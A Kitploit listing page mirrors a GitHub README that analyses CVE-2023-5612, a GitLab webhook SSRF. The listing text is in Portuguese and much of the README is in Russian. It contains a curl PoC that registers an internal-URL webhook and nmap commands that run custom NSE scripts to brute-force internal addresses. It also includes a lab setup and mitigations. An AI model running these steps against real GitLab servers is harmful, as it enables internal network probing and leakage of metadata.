Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Review.CVE-2023-5612 — Prova de conceito e análise para CVE-2023-5612, um SSRF de webhook do GitLab CE/EE. Inclui etapas de PoC com curl e scripts NSE personalizados para verificar e forçar URLs internas. | Kitploit
Ferramentas/GitHubGitHub/constantinefedorov/review.cve-2023-5612
Scanners de VulnerabilidadesMapeamento de RedeAnálise de VulnerabilidadesExploraçãoSegurança WebTestes de PenetraçãoRed Teaming
GitHubconstantinefedorov/review.cve-2023-5612

Review.CVE-2023-5612

Prova de conceito e análise para CVE-2023-5612, um SSRF de webhook do GitLab CE/EE. Inclui etapas de PoC com curl e scripts NSE personalizados para verificar e forçar URLs internas.

Ver Repositório
3há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-5612 – SSRF no GitLab via URL de Webhook (PoC e Análise)

📌 Visão Geral da CVE

  • CVE-ID: CVE-2023-5612
  • Severidade: Alta (CVSS: 8.1 Pontuação Base)
  • Tipo: Server-Side Request Forgery (SSRF)
  • Componente: Webhooks do GitLab CE/EE
  • Versões Afetadas: GitLab CE/EE < 16.2.7, 16.3 < 16.3.4, 16.4 < 16.4.1

🧠 Descrição

Uma vulnerabilidade de SSRF no GitLab CE/EE permite que atacantes com acesso válido de Mantenedor de Projeto enviem requisições forjadas para serviços internos arbitrários através de URLs de webhook maliciosas. A exploração leva à varredura de rede interna, vazamento de metadados ou pivô adicional.


✅ Condições de Exploração

  • У злоумышленника есть maintainer-доступ к проекту
  • GitLab не имеет жесткой фильтрации или валидации URL-хуков

⚙️ Passos do PoC (Manual)

curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks

🧱 Ambiente e Configuração

- Kali Linux внутри виртуальной машины, развернутой специально под тестирование
- Поднятый через Docker экземпляр уязвимого GitLab CE (порт 8080)
- Внутри GitLab:
- Создан тестовый проект
- Сгенерирован Personal Access Token (glpat-...) с правами Maintainer
- Для внутреннего SSRF-таргета был поднят минимальный HTTP-сервис на 127.0.0.1:8888

🧠 Metodologia

- Подтверждение уязвимости вручную через curl (см. PoC)
- Создание кастомных NSE-скриптов:
gitlab-ssrf.nse: точечная проверка SSRF
gitlab-ssrf-brute.nse: автоматический перебор внутренних адресов
- Тестирование с nmap -d и --script-trace, для анализа поведения API и фиксации результатов
- Получение отклика 401 Unauthorized от внутреннего сервиса, что указывает на успешный SSRF
- Успешный запрос вернет `201 Created` либо ошибку вида `401 Unauthorized`, что указывает на SSRF-доступ.

🛠 Script NSE (Acionamento Manual)

nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

🧪 Script NSE (Força Bruta em URLs Internas)

nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

📈 Conclusão

В ходе работы над уязвимостью **CVE-2023-5612** был воспроизведён успешный SSRF-атакующий сценарий с доступом к внутренним адресам через API GitLab CE. Это демонстрирует, насколько важно ограничивать возможности вебхуков и внедрять валидацию URL-адресов на стороне сервера.

🎯 Цель выполнена:

  • SSRF подтверждён
  • NSE-инструментарий реализован
  • Проект задокументирован и открыт для сообщества

📂 Estrutura do Repositório

.
├── gitlab-ssrf.nse             # NSE script for manual SSRF verification
├── gitlab-ssrf-brute.nse       # NSE brute script to scan internal hosts/ports
├── screenshots/                # Скрины выполнения PoC и подтверждения уязвимости
└── README.md                   # Этот файл

🖼 Capturas de Tela

  • ✅ Успешный SSRF с возвратом 401 Unauthorized
  • 📜 Логи nmap c отработкой скрипта
  • 📦 Добавление вебхука через API

⚠️ Mitigação

  • Upgrade GitLab to >= 16.2.7 / 16.3.4 / 16.4.1
  • Ограничить outbound HTTP через egress firewall
  • Использовать internal allow-lists для вебхуков

🧠 Autor e Contato

Pavel Topskiy
GitHub • Security Analyst, Red Team Analyst


📅 Linha do Tempo

  • June 2025: Анализ PoC и уязвимости
  • 5 июня 2025: Написание кастомного NSE-скрипта и тестов

🔐 Aviso Legal

All testing was done in isolated lab environments on intentionally vulnerable versions. Do not use this against unauthorized systems. Respect ethical hacking principles.

Baixar ferramenta